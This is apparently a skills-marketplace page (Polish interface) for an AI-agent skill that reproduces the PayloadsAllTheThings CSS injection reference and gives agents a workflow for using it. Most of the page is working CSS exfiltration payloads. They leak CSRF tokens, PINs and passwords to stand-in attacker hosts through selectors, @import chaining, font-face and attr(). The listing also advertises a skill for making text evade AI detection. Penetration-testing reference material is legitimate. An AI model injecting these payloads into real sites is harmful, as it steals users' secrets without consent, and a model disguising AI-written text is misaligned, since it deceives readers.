smartworldarafath/rea_skill

payloads-css-injection

CSS Injection is a vulnerability that occurs when an application allows untrusted CSS to be injected into a web page.

Zobacz źródło

Jak używać

  1. Skopiuj polecenie instalacji i sprawdź źródła przed instalacją we własnym środowisku agenta.
  2. W oryginale sprawdź wymagane narzędzia, dane dostępowe i obsługiwane środowiska.
  3. Opisz dane wejściowe i oczekiwany rezultat; porównaj wynik ze źródłami.
npx skills add https://github.com/smartworldarafath/rea_skill --skill payloads-css-injection

Przed rozpoczęciem

  • Instalacja nie obejmuje subskrypcji modelu, limitu API ani uprawnień do plików.
  • Gwiazdki i instalacje pokazują aktywność, a nie niezależny test jakości lub bezpieczeństwa.
Oryginalny dokument Skill

Treść z repozytorium z zachowaniem nagłówków, przykładów, kodu, tabel, linków i obrazów.

CSS Injection Payloads

Source: PayloadsAllTheThings/CSS Injection Category: payloads-web | Skill ID: payloads-css-injection

Overview

CSS injection payloads for data exfiltration, UI redress, and attribute value theft.

This skill integrates the full PayloadsAllTheThings (PATT) payload library for the CSS Injection Payloads domain into the REA_Skill framework. Use it during authorized penetration testing, bug bounty research, security audits, and CTF challenges.

Workflow

1. Recon & Identification

  • Identify the target technology stack and injection points
  • Enumerate endpoints, parameters, and input vectors
  • Determine applicable payload categories from the reference below

2. Payload Selection

  • Browse the PATT payload library for the attack class
  • Select encoding-appropriate payloads for the target environment
  • Consider WAF bypass variants and obfuscation techniques

3. Exploitation (Authorized Only)

  • Test payloads in order: passive → active → escalation
  • Document every payload tested and its response
  • Capture PoC evidence (screenshots, HTTP logs, curl output)

4. Verification & Reporting

  • Confirm the vulnerability with a clean minimal PoC
  • Map findings to CVE/CWE where applicable
  • Report with remediation recommendations and code fixes

Full PATT Reference

CSS Injection

CSS Injection is a vulnerability that occurs when an application allows untrusted CSS to be injected into a web page. This can be exploited to exfiltrate sensitive data, such as CSRF tokens or other secrets, by manipulating the page layout or triggering network requests based on element attributes.

Summary

Tools

Methodology

CSS Selectors

CSS selectors can be used to exfiltrate data. This technique is particularly useful because CSS is often allowed in CSP rules, whereas JavaScript is frequently blocked.

The attack works by brute-forcing a token character by character. Once the first character is identified, the payload is updated to guess the second character, and so on. This often requires an iframe to reload the page with the new payload.

  • input[value^=a] (prefix attribute selector): Selects elements where the value starts with "a".
  • input[value$=a] (suffix attribute selector): Selects elements where the value ends with "a".
  • input[value*=a] (substring attribute selector): Selects elements where the value contains "a".

Exfiltration via Background Image

When a selector matches, the browser attempts to load the background image from a URL controlled by the attacker, thereby leaking the character.

css
input[value^="TOKEN_012"] {
  background-image: url(http://attacker.example.com/?prefix=TOKEN_012);
}
css
input[name="pin"][value="1234"] {
  background: url(https://[ATTACKER.DOMAIN.TLD]/log?pin=1234);
}

Tips:

  • Hidden Inputs: You cannot apply a background image directly to a hidden input field. Instead, use a sibling selector (+ or ~) to style a visible element that appears after the hidden input.
css
input[name="csrf-token"][value^="a"] + input {
  background: url(https://[ATTACKER.DOMAIN.TLD]/?q=a)
}
  • Has Selector: The :has() pseudo-class allows styling a parent element based on its children.
css
div:has(input[value="1337"]) {
  background:url(/collectData?value=1337);
}
  • Concurrency: Use both prefix and suffix selectors to speed up the guessing process. You can assign the prefix check to one property (e.g., background) and the suffix check to another (e.g., list-style-image or border-image).

CSS Import at-rule

This technique is known as Blind CSS Exfiltration. It relies on importing external stylesheets to trigger callbacks.

html
<style>@import url(http://[ATTACKER.DOMAIN.TLD]/staging?len=32);</style>
<style>@import'//[ATTACKER.DOMAIN.TLD]'</style>

Frames do not always need to be reloaded to reevaluate CSS. The @import rule allows for latency; the browser will process the import and apply the new styles.

Sequential Import Chaining (SIC)

SIC allows an attacker to chain multiple extraction steps without reloading the page:

  1. Inject an initial @import rule pointing to a staging payload.
  2. The staging payload holds the connection open (long-polling) while generating the next specific payload.
  3. When a CSS rule matches (e.g., a character is found via background-image), the browser makes a request.
  4. The server detects this request and generates the next @import rule to continue the chain.

CSS Conditionals

Inline Style Exfiltration

This advanced technique leverages CSS conditionals (like if()) and variables to perform logic directly within a style attribute.

Example: Stealing a data-uid attribute if it matches a value between 1 and 10.

html
<div style='--val: attr(data-uid); --steal: if(style(--val:"1"): url(/1); else: if(style(--val:"2"): url(/2); else: if(style(--val:"3"): url(/3); else: if(style(--val:"4"): url(/4); else: if(style(--val:"5"): url(/5); else: if(style(--val:"6"): url(/6); else: if(style(--val:"7"): url(/7); else: if(style(--val:"8"): url(/8); else: if(style(--val:"9"): url(/9); else: url(/10)))))))))); background: image-set(var(--steal));' data-uid='1'></div>

CSS Font-face at-rule

The @font-face CSS at-rule specifies a custom font with which to display text; the font can be loaded from either a remote server or a locally-installed font on the user's own computer. - Mozilla

The unicode-range property allows specific fonts to be used for specific characters. We can abuse this to detect if a specific character is present on the page.

If the character "A" is present, the browser attempts to load the font from /?A. If "C" is not present, that request is never made.

html
<style>
@font-face{ font-family:poc; src: url(http://attacker.example.com/?A); /* fetched */ unicode-range:U+0041; }
@font-face{ font-family:poc; src: url(http://attacker.example.com/?B); /* fetched too */ unicode-range:U+0042; }
@font-face{ font-family:poc; src: url(http://attacker.example.com/?C); /* not fetched */ unicode-range:U+0043; }
#sensitive-information{ font-family:poc; }
</style>
<p id="sensitive-information">AB</p>

Limitations:

  • It cannot distinguish repeated characters (e.g., "AA" triggers the request once).
  • It does not determine the order of characters.
  • Despite these limitations, it is a very reliable oracle for checking character existence.
  • Chrome checked this as "WontFix": issues/40083029

Attribute Extraction via attr()

The CSS attr() function allows CSS to retrieve the value of an attribute of the selected element. With recent updates (see Advanced attr()), this function can be used to extract input's value.

Target HTML:

html
<html>
    <head>
        <link rel="stylesheet" href="http://attacker.local/index.css">
    </head>
    <body>
        <input type="text" name="password" value="supersecret">
    </body>
</html>

index.css (hosted by attacker):

css
input[name="password"] {
  background: image-set(attr(value))
}

When image-set() is used with attr(), the browser may attempt to interpret the attribute value as a URL. If the stylesheet is cross-domain, the relative URL is resolved against the stylesheet's origin, not the page's origin.

Resulting request on attacker's server:

ps1
10.10.10.10 - - [15/Feb/2026 16:33:21] "GET /supersecret HTTP/1.1" 404 -

Ligatures

This technique exploits custom fonts and ligatures. A ligature combines multiple characters into a single glyph. By creating a custom font where specific character sequences (e.g., specific text content) produce a ligature with a huge width, we can detect the change in layout.

  1. Create a custom font with ligatures for target strings.
  2. Use media queries or scrollbars to detect if the rendered width of the element has changed.
ps1
docker run -it --rm -p 4242:4242 -e BASE_URL=http://localhost:4242 ghcr.io/adrgs/fontleak:latest

Payload example using fontleak with a custom selector, parent element, and alphabet. Warning: The CSS selector must match exactly one element in the target page.

html
<style>@import url("http://localhost:4242/?selector=.secret&parent=head&alphabet=abcdef0123456789");</style>

Labs

References


REA MCP Integration

javascript
// REA MCP — Automated payload injection via REA tools
// Use analyze_function, procedure_pseudo_code, or observe_native_calls
// to identify injection sinks, then apply payloads from this skill.

Legal Notice

⚠️ Authorized Use Only. All payloads in this skill are for security research, penetration testing with written permission, CTF competitions, and defensive study. Unauthorized use against systems you do not own or have explicit permission to test is illegal.
z tego samego repozytorium

Więcej Skills

Wszystkie Skills
smartworldarafath
Społeczność

agent-introspection-debugging

Structured self-debugging workflow for AI agent failures using capture, diagnosis, contained recovery, and introspection reports. Use when an agent run fails and you need a reproducible diagnosis instead of a retry.

Instalacje / 1h
2
GitHub Stars
5
Aktualizacja
8 lis
smartworldarafath
Społeczność

agent-reach

Read-only access to internet platforms (Twitter/X, Reddit, YouTube subtitles, GitHub, LinkedIn, Bilibili, web). Use when the agent needs to search, read web links, retrieve social discussions, CVE/vulnerability intel, or when standard web search/fetch is blocked or insufficient.

Instalacje / 1h
2
GitHub Stars
5
Aktualizacja
8 lis
smartworldarafath
Społeczność

agent-sort

Build an evidence-backed ECC install plan for a specific repo by sorting skills, commands, rules, hooks, and extras into DAILY vs LIBRARY buckets using parallel repo-aware review passes. Use when ECC should be trimmed to what a project actually needs instead of loading the full bundle.

Instalacje / 1h
2
GitHub Stars
5
Aktualizacja
8 lis
smartworldarafath
Społeczność

anti-ai-slop-writing

Produces human-sounding text that avoids detectable AI writing patterns. Activates on any writing task — tweets, emails, articles, bios, captions, reports, copy, messages, LinkedIn posts, cover letters, README files, or any content where the output must not read as AI-generated. Enforces banned vocabulary, structural variety, punctuation discipline, accuracy rules, and voice calibration. Use when the user says "write," "draft," "rewrite," "make this sound human," "anti-slop," "not AI," or any va

Instalacje / 1h
2
GitHub Stars
5
Aktualizacja
8 lis